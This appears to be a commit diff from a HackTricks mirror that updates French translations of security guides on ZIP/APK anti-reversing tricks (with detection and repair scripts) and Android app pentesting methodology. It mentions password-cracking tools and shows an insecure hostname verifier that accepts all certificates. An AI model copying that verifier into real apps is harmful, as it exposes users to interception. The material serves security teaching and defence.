maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/windows-hardening/active-directory-methodology/kerb

Browse Source
This commit is contained in:
Translator 2025-09-04 00:38:22 +00:00
parent 15e1dc3e9b
commit 249bde0652
18 changed files with 1600 additions and 1614 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

62
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
View File

@ -1,38 +1,38 @@
# Astuces pour les ZIPs
# Astuces ZIPs
{{#include ../../../banners/hacktricks-training.md}}
Les outils en ligne de commande pour gérer les fichiers zip sont essentiels pour diagnostiquer, réparer et cracker des zip. Voici quelques utilitaires clés :
**Outils en ligne de commande** pour gérer les **fichiers zip** sont essentiels pour diagnostiquer, réparer et craquer des zip. Voici quelques utilitaires clés :
- **`unzip`** : révèle pourquoi un zip peut ne pas se décompresser.
- **`zipdetails -v`** : offre une analyse détaillée des champs du format zip.
- **`zipinfo`** : liste le contenu d'un zip sans l'extraire.
- **`zip -F input.zip --out output.zip`** et **`zip -FF input.zip --out output.zip`** : tentent de réparer des zip corrompus.
- **[fcrackzip](https://github.com/hyc/fcrackzip)** : outil de brute-force pour cracker les mots de passe zip, efficace pour des mots de passe jusqu'à environ 7 caractères.
- **`unzip`**: Révèle pourquoi un fichier zip peut ne pas se décompresser.
- **`zipdetails -v`**: Offre une analyse détaillée des champs du format zip.
- **`zipinfo`**: Liste le contenu d'un zip sans l'extraire.
- **`zip -F input.zip --out output.zip`** et **`zip -FF input.zip --out output.zip`**: Tente de réparer des fichiers zip corrompus.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Un outil de force brute pour les mots de passe zip, efficace pour des mots de passe d'environ 7 caractères ou moins.
La [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fournit des détails complets sur la structure et les standards des zip.
The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fournit des détails complets sur la structure et les standards des fichiers zip.
Il est crucial de noter que les fichiers zip protégés par mot de passe **n'encryptent pas les noms de fichiers ni les tailles de fichiers** à l'intérieur, une faille de sécurité qui n'existe pas pour les fichiers RAR ou 7z qui encryptent cette information. De plus, les zip chiffrés avec l'ancienne méthode ZipCrypto sont vulnérables à une **plaintext attack** si une copie non chiffrée d'un fichier compressé est disponible. Cette attaque exploite le contenu connu pour cracker le mot de passe du zip, vulnérabilité détaillée dans l'article de [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) et expliquée plus en détail dans [cet article académique](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Cependant, les zip protégés avec **AES-256** sont immunisés contre cette plaintext attack, ce qui illustre l'importance de choisir des méthodes de chiffrement sûres pour des données sensibles.
Il est crucial de noter que les fichiers zip protégés par mot de passe **n'encryptent pas les noms de fichiers ni les tailles de fichiers** à l'intérieur, une faiblesse de sécurité que RAR ou 7z n'ont pas car ils chiffrent ces informations. De plus, les fichiers zip chiffrés avec l'ancienne méthode ZipCrypto sont vulnérables à une plaintext attack si une copie non chiffrée d'un fichier compressé est disponible. Cette attaque utilise le contenu connu pour craquer le mot de passe du zip, une vulnérabilité détaillée dans [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) et expliquée plus en détail dans [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Cependant, les fichiers zip sécurisés avec **AES-256** sont immunisés contre cette plaintext attack, ce qui montre l'importance de choisir des méthodes de chiffrement robustes pour des données sensibles.
---
## Anti-reversing tricks in APKs using manipulated ZIP headers
Les droppers Android modernes utilisent des metadata ZIP malformés pour casser les outils statiques (jadx/apktool/unzip) tout en gardant l'APK installable sur l'appareil. Les astuces les plus courantes sont :
Les malware droppers Android modernes utilisent des métadonnées ZIP malformées pour casser les outils statiques (jadx/apktool/unzip) tout en gardant l'APK installable sur l'appareil. Les astuces les plus courantes sont :
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
- Abusing large/custom Extra fields to confuse parsers
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
- Faux chiffrement en définissant le ZIP General Purpose Bit Flag (GPBF) bit 0
- Abus de grandes/custom Extra fields pour perturber les parseurs
- Collisions de noms de fichiers/répertoires pour cacher de vrais artefacts (par ex., un répertoire nommé `classes.dex/` à côté du vrai `classes.dex`)
### 1) Fake encryption (GPBF bit 0 set) without real crypto
Symptômes :
Symptômes:
- `jadx-gui` échoue avec des erreurs comme :
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip` demande un mot de passe pour des fichiers core de l'APK alors qu'un APK valide ne peut pas avoir `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` chiffrés :
- `unzip` demande un mot de passe pour des fichiers APK centraux bien qu'un APK valide ne puisse pas avoir `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` chiffrés :
```bash
unzip sample.apk
@ -47,7 +47,7 @@ Détection avec zipdetails:
```bash
zipdetails -v sample.apk | less
```
Regardez le General Purpose Bit Flag pour les en-têtes locaux et centraux. Une valeur révélatrice est le bit 0 activé (Encryption) même pour les entrées core :
Consultez le General Purpose Bit Flag des en-têtes locaux et centraux. Une valeur révélatrice est le bit 0 défini (Encryption) même pour les core entries :
```
Extract Zip Spec 2D '4.5'
General Purpose Flag 0A09
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
Heuristique : Si une APK s'installe et s'exécute sur l'appareil mais que des entrées principales apparaissent « chiffrées » pour les outils, le GPBF a été altéré.
Heuristique : si un APK s'installe et s'exécute sur l'appareil mais que les core entries apparaissent « chiffrées » pour les outils, le GPBF a été modifié.
Corriger en effaçant le bit 0 du GPBF dans les Local File Headers (LFH) et les entrées du Central Directory (CD). Byte-patcher minimal :
Corriger en effaçant le bit 0 du GPBF dans les Local File Headers (LFH) et les entrées du Central Directory (CD). Patcheur d'octets minimal :
```python
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -94,11 +94,11 @@ Utilisation :
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
Vous devriez maintenant voir `General Purpose Flag 0000` sur les entrées core et les outils analyseront à nouveau l'APK.
Vous devriez maintenant voir `General Purpose Flag 0000` sur les entrées principales et les outils analyseront à nouveau l'APK.
### 2) Extra fields volumineux/personnalisés pour casser les parseurs
### 2) Champs Extra volumineux/personnalisés pour casser les analyseurs
Les attaquants insèrent dans les headers des Extra fields surdimensionnés et des IDs étranges pour piéger les décompilateurs. En conditions réelles, vous pouvez voir des marqueurs personnalisés (par ex., des chaînes comme `JADXBLOCK`) insérés là.
Les attaquants insèrent des Extra fields surdimensionnés et des IDs étranges dans les en-têtes pour piéger les décompilateurs. Dans la pratique, vous pouvez voir des marqueurs personnalisés (par ex., des chaînes comme `JADXBLOCK`) intégrés là.
Inspection:
```bash
@ -106,21 +106,21 @@ zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
Exemples observés : des IDs inconnus comme `0xCAFE` ("Java Executable") ou `0x414A` ("JA:") transportant de gros payloads.
DFIR heuristics :
- Alerter lorsque les Extra fields sont anormalement volumineux sur les entrées principales (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
DFIR heuristics:
- Alerter lorsque les Extra fields sont inhabituellement volumineux sur les entrées core (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
- Considérer les Extra IDs inconnus sur ces entrées comme suspects.
Practical mitigation : reconstruire l'archive (e.g., re-zipping extracted files) supprime les Extra fields malveillants. Si les outils refusent d'extraire en raison d'une fake encryption, effacer d'abord GPBF bit 0 comme ci-dessus, puis reconditionner :
Practical mitigation: la reconstruction de l'archive (par ex., re-zipping des fichiers extraits) supprime les Extra fields malveillants. Si les outils refusent d'extraire à cause d'une fake encryption, d'abord effacer GPBF bit 0 comme indiqué ci-dessus, puis reconditionner :
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
(cd /tmp/apk && zip -qr ../clean.apk .)
```
### 3) Collisions de noms fichier/répertoire (masquer les vrais artefacts)
### 3) Conflits de noms fichier/répertoire (masquer les artefacts réels)
Une archive ZIP peut contenir à la fois un fichier `X` et un répertoire `X/`. Certains extracteurs et décompilateurs se trompent et peuvent superposer ou masquer le vrai fichier par une entrée de répertoire. Cela a été observé avec des entrées entrant en collision avec des noms d'APK critiques comme `classes.dex`.
Une archive ZIP peut contenir à la fois un fichier `X` et un répertoire `X/`. Certains extracteurs et décompilateurs se trompent et peuvent superposer ou masquer le fichier réel au profit d'une entrée de répertoire. Cela a été observé avec des entrées entrant en collision avec des noms d'APK principaux comme `classes.dex`.
Triage et extraction sûre:
Triage et extraction sécurisée:
```bash
# List potential collisions (names that differ only by trailing slash)
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
# new name: unk_classes.dex
```
Postfixe de détection programmatique :
Suffixe pour la détection programmatique:
```python
from zipfile import ZipFile
from collections import defaultdict
@ -148,9 +148,9 @@ for base, variants in collisions.items():
if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team — idées de détection :
- Signaler les APK dont les en-têtes locaux indiquent le chiffrement (GPBF bit 0 = 1) mais qui s'installent/s'exécutent.
- Signaler les champs Extra volumineux/inconnus sur les entrées principales (chercher des marqueurs comme `JADXBLOCK`).
Idées de détection pour Blue-team :
- Signaler les APKs dont les en-têtes locaux indiquent un chiffrement (GPBF bit 0 = 1) mais qui s'installent/s'exécutent.
- Signaler les champs Extra volumineux/inconnus sur les entrées core (rechercher des marqueurs comme `JADXBLOCK`).
- Signaler les collisions de chemins (`X` et `X/`) spécifiquement pour `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
---

512
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

508
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -1,8 +1,8 @@
# Pentesting des applications Android
# Pentesting des Applications Android
{{#include ../../banners/hacktricks-training.md}}
## Notions de base sur les applications Android
## Notions de base des Applications Android
Il est fortement recommandé de commencer par lire cette page pour connaître les **parties les plus importantes liées à la sécurité Android et les composants les plus dangereux d'une application Android** :
@ -14,14 +14,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\
**ADB** permet de contrôler les appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'apps, l'**exécution** de commandes shell, la **sauvegarde** des données, la **lecture** des logs, entre autres fonctions.
**ADB** permet de contrôler des appareils soit via **USB** soit via **Network** depuis un ordinateur. Cet outil permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'apps, l'**exécution** de commandes shell, la **sauvegarde** des données, la **lecture** des logs, entre autres fonctions.
Consultez la liste suivante de [**ADB Commands**](adb-commands.md) pour apprendre à utiliser adb.
Consultez la liste suivante des [**ADB Commands**](adb-commands.md) pour apprendre à utiliser adb.
## Smali
Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut‑être des passwords bien obfusqués ou des flags). Ensuite, il peut être intéressant de décompiler l'apk, modifier le code et le recompiler.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Donc, **gardez toujours cette possibilité à l'esprit**.
Parfois il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe fortement obfusqués ou des flags). Dans ce cas, il peut être utile de décompiler le apk, modifier le code et le recompiler.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Cela peut être très utile comme **alternative pour plusieurs tests lors de l'analyse dynamique** qui vont être présentés. Ainsi, **gardez toujours à l'esprit cette possibilité**.
## Autres astuces intéressantes
@ -29,7 +29,7 @@ Parfois, il est intéressant de **modifier le code de l'application** pour accé
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Télécharger des APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extraire l'APK depuis l'appareil:
```bash
adb shell pm list packages
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Études de cas & Vulnerabilities
## Études de cas & Vulnérabilités
{{#ref}}
@ -63,36 +63,36 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Analyse statique
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
Tout d'abord, pour analyser un APK vous devriez **examiner le code Java** à l'aide d'un decompiler.\
Veuillez, [**lire ici pour trouver des informations sur les différents decompilers disponibles**](apk-decompilers.md).
### Recherche d'informations intéressantes
Rien qu'en regardant les **strings** de l'APK, vous pouvez rechercher des **passwords**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **api keys**, de l'**encryption**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... recherchez même des backdoors d'exécution de code ou des backdoors d'authentification (hardcoded admin credentials to the app).
En examinant simplement les **strings** de l'APK vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des éléments liés à **encryption**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... cherchez même des backdoors d'exécution de code ou des backdoors d'authentification (credentials admin hardcodés dans l'app).
**Firebase**
Portez une attention particulière aux **Firebase URLs** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Portez une attention particulière aux **Firebase URLs** et vérifiez si la configuration est incorrecte. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml
### Compréhension de base de l'application - Manifest.xml, strings.xml
L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités de sécurité potentielles**. Ces fichiers sont accessibles via des décompilateurs ou en renommant l'extension APK en .zip puis en décompressant.
L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités de sécurité potentielles**. Ces fichiers peuvent être consultés avec des decompilers ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
**Vulnerabilities** identified from the **Manifest.xml** include:
**Vulnérabilités** identifiées à partir du **Manifest.xml** incluent :
- **Debuggable Applications**: Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ représentent un risque car elles autorisent des connexions pouvant mener à une exploitation. Pour comprendre comment exploiter des applications debuggable, référez-vous à un tutoriel sur la découverte et l'exploitation d'applications debuggable sur un appareil.
- **Backup Settings**: L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications manipulant des informations sensibles afin d'empêcher des sauvegardes non autorisées via adb, en particulier lorsque le usb debugging est activé.
- **Network Security**: Les configurations réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme le certificate pinning et les réglages du trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
- **Exported Activities and Services**: Identifier les activities et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse plus approfondie en test dynamique peut révéler comment exploiter ces composants.
- **Content Providers and FileProviders**: Des content providers exposés pourraient permettre un accès non autorisé ou la modification de données. La configuration des FileProviders doit également être scrutée.
- **Broadcast Receivers and URL Schemes**: Ces composants pourraient être utilisés pour des exploitations, en portant une attention particulière à la gestion des URL schemes pour des vulnérabilités d'entrée.
- **SDK Versions**: Les attributs `minSdkVersion`, `targetSDKVersion`, et `maxSdkVersion` indiquent les versions Android supportées, ce qui souligne l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité.
- **Applications debuggables**: Les applications définies comme debuggable (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions qui peuvent mener à une exploitation. Pour mieux comprendre comment exploiter des applications debuggables, consultez un tutoriel sur la découverte et l'exploitation d'applications debuggables sur un device.
- **Paramètres de backup**: L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher des sauvegardes non autorisées via adb, surtout lorsque usb debugging est activé.
- **Network Security**: Des configurations réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme le pinning de certificats et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
- **Exported Activities and Services**: Identifier les activités et services exportés dans le manifest peut mettre en évidence des composants susceptibles d'être détournés. Une analyse plus poussée lors des tests dynamiques peut révéler comment exploiter ces composants.
- **Content Providers and FileProviders**: Des content providers exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée.
- **Broadcast Receivers and URL Schemes**: Ces composants pourraient être utilisés pour l'exploitation, en portant une attention particulière à la manière dont les URL schemes sont gérés pour les vulnérabilités d'entrée.
- **SDK Versions**: Les attributs `minSdkVersion`, `targetSDKVersion`, et `maxSdkVersion` indiquent les versions Android supportées, soulignant l'importance de ne pas supporter des versions Android obsolètes et vulnérables pour des raisons de sécurité.
From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources.
À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schemas personnalisés et d'autres notes de développeurs peuvent être découvertes, ce qui souligne la nécessité d'un examen attentif de ces ressources.
### Tapjacking
**Tapjacking** est une attaque où une **malicious application** est lancée et se positionne au-dessus d'une application victime. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de façon à tromper l'utilisateur pour qu'il interagisse avec elle, tandis qu'elle transmet l'interaction à l'application victime.\
**Tapjacking** est une attaque où une **malicious application** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de telle manière qu'elle trompe l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
En pratique, c'est **aveugler l'utilisateur afin qu'il ne sache pas qu'il effectue en réalité des actions sur l'application victime**.
Find more information in:
@ -104,7 +104,7 @@ tapjacking.md
### Task Hijacking
Une **activity** avec le **`launchMode`** défini sur **`singleTask` sans aucun `taskAffinity`** est vulnérable au task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application, elle pourrait **hijack the task of the real application** (donc l'utilisateur interagira avec la **malicious application en pensant utiliser la vraie**).
Une **activity** avec le **`launchMode`** défini sur **`singleTask` sans aucun `taskAffinity`** est vulnérable au Task Hijacking. Cela signifie qu'une **application** peut être installée et si elle est lancée avant la vraie application elle pourrait **détourner la tâche de la vraie application** (ainsi l'utilisateur interagira avec la **malicious application** en pensant utiliser la vraie).
More info in:
@ -113,117 +113,117 @@ More info in:
android-task-hijacking.md
{{#endref}}
### Insecure data storage
### Stockage de données non sécurisé
**Internal Storage**
Internal Storage
Sur Android, les fichiers **stockés** en **internal** storage sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement suffisante pour la plupart des applications. Cependant, les développeurs utilisent parfois des modes comme `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes.
En Android, les fichiers **stockés** en **internal** storage sont **conçus** pour être **accessibles** exclusivement par l'**app** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** que des fichiers soient **partagés** entre différentes applications. Or, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes.
1. **Static Analysis:**
- **Ensure** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` soit **examinée attentivement**. Ces modes **peuvent exposer** des fichiers à des accès non souhaités ou non autorisés.
- **Vérifier** soigneusement l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE`. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
2. **Dynamic Analysis:**
- **Verify** les **permissions** définies sur les fichiers créés par l'app. En particulier, **vérifiez** si des fichiers sont **rendux lisibles ou modifiables worldwide**. Cela peut poser un risque de sécurité important, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers.
- **Valider** les **permissions** définies sur les fichiers créés par l'app. Plus précisément, **vérifiez** si des fichiers sont **réglés comme lisibles ou modifiables par tous**. Cela peut constituer un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur le device, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers.
**External Storage**
External Storage
Quand on traite des fichiers sur le **external storage**, comme les cartes SD, certaines précautions doivent être prises:
Lorsqu'on traite des fichiers sur le **external storage**, comme les SD Cards, certaines précautions doivent être prises :
1. **Accessibility**:
- Les fichiers sur external storage sont **globalement lisibles et modifiables**. Cela signifie que toute application ou utilisateur peut y accéder.
2. **Security Concerns**:
- Étant donné la facilité d'accès, il est conseillé de **ne pas stocker d'informations sensibles** sur l'external storage.
1. **Accessibilité**:
- Les fichiers sur external storage sont **globalement lisibles et modifiables**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers.
2. **Préoccupations de sécurité**:
- Étant donné la facilité d'accès, il est conseillé **de ne pas stocker d'informations sensibles** sur l'external storage.
- L'external storage peut être retiré ou accédé par n'importe quelle application, le rendant moins sécurisé.
3. **Handling Data from External Storage**:
- Toujours **effectuer une validation des entrées** sur les données récupérées depuis l'external storage. C'est crucial car les données proviennent d'une source non fiable.
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classes sur l'external storage pour un chargement dynamique.
- Si votre application doit impérativement récupérer des fichiers exécutables depuis l'external storage, assurez-vous que ces fichiers soient **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de la sécurité de votre application.
3. **Traitement des données provenant de l'external storage**:
- Effectuez toujours une **validation d'entrée** sur les données récupérées depuis l'external storage. C'est crucial car ces données proviennent d'une source non fiable.
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classes sur external storage pour les charger dynamiquement.
- Si votre application doit récupérer des fichiers exécutables depuis l'external storage, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de sécurité de votre application.
External storage can be **accessed** in /storage/emulated/0 , /sdcard , /mnt/sdcard
External storage peut être **accédé** dans `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
> [!TIP]
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
**Sensitive data stored in clear-text**
Données sensibles stockées en clair
- **Shared preferences**: Android allow to each application to easily save xml files in the path /data/data/<packagename>/shared_prefs/ and sometimes it's possible to find sensitive information in clear-text in that folder.
- **Databases**: Android allow to each application to easily save sqlite databases in the path /data/data/<packagename>/databases/ and sometimes it's possible to find sensitive information in clear-text in that folder.
- **Shared preferences**: Android permet à chaque application de facilement sauvegarder des fichiers xml dans le chemin `/data/data/<packagename>/shared_prefs/` et parfois il est possible de trouver des informations sensibles en clear-text dans ce dossier.
- **Databases**: Android permet à chaque application de facilement sauvegarder des bases sqlite dans le chemin `/data/data/<packagename>/databases/` et parfois il est possible de trouver des informations sensibles en clear-text dans ce dossier.
### Broken TLS
### TLS compromis
**Accept All Certificates**
Accepter tous les certificats
For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one:
Pour une raison quelconque, certains développeurs acceptent parfois tous les certificats même si, par exemple, le hostname ne correspond pas, avec des lignes de code comme la suivante :
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. Vous pouvez également générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser.
Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un hostname différent et l'utiliser.
### Cryptographie défaillante
**Processus de gestion des clés insuffisants**
**Mauvaises pratiques de gestion des clés**
Certains développeurs sauvegardent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prédictible dans le code. Cela ne devrait pas être fait car du reversing pourrait permettre à des attaquants d'extraire les informations confidentielles.
Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car du reversing pourrait permettre à des attaquants d'extraire l'information confidentielle.
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
Les développeurs ne devraient pas utiliser des **deprecated algorithms** pour effectuer des **authorisation checks**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants au brute-force devraient être utilisés avec du salt.
Les développeurs ne devraient pas utiliser des **deprecated algorithms** pour effectuer des **checks** d'authorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, il faut utiliser des hashes résistants au brute-force avec du salt.
### Autres vérifications
- Il est recommandé d'**obfusquer l'APK** pour rendre le travail de reverse engineering plus difficile pour les attaquants.
- Si l'app est sensible (comme les apps bancaires), elle devrait effectuer ses **propres vérifications pour savoir si le mobile est rooté** et agir en conséquence.
- Si l'app est sensible (comme les apps bancaires), elle devrait vérifier si un **emulator** est utilisé.
- Si l'app est sensible (comme les apps bancaires), elle devrait **vérifier son intégrité avant de s'exécuter** pour vérifier si elle a été modifiée.
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
- Il est recommandé d'**obfusquer l'APK** pour rendre plus difficile le travail de reverse engineering pour les attaquants.
- Si l'app est sensible (comme des apps bancaires), elle devrait effectuer ses **propres vérifications pour détecter si le mobile est rooted** et agir en conséquence.
- Si l'app est sensible (comme des apps bancaires), elle devrait vérifier si un **emulator** est utilisé.
- Si l'app est sensible (comme des apps bancaires), elle devrait **vérifier son intégrité avant exécution** pour détecter si elle a été modifiée.
- Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compiler/packer/obfuscator a été utilisé pour construire l'APK
### React Native Application
### Application React Native
Read the following page to learn how to easily access javascript code of React applications:
Lisez la page suivante pour apprendre comment accéder facilement au code javascript des applications React :
{{#ref}}
react-native-application.md
{{#endref}}
### Xamarin Applications
### Applications Xamarin
Read the following page to learn how to easily access C# code of a xamarin applications:
Lisez la page suivante pour apprendre comment accéder facilement au code C# d'une application xamarin :
{{#ref}}
../xamarin-apps.md
{{#endref}}
### Superpacked Applications
### Applications Superpacked
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
Selon ce [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked est un algorithme Meta qui compresse le contenu d'une application en un seul fichier. Le blog parle de la possibilité de créer une app qui décompresse ce type d'apps... et d'une méthode plus rapide qui consiste à **exécuter l'application et récupérer les fichiers décompressés depuis le filesystem.**
### Automated Static Code Analysis
### Analyse statique automatisée du code
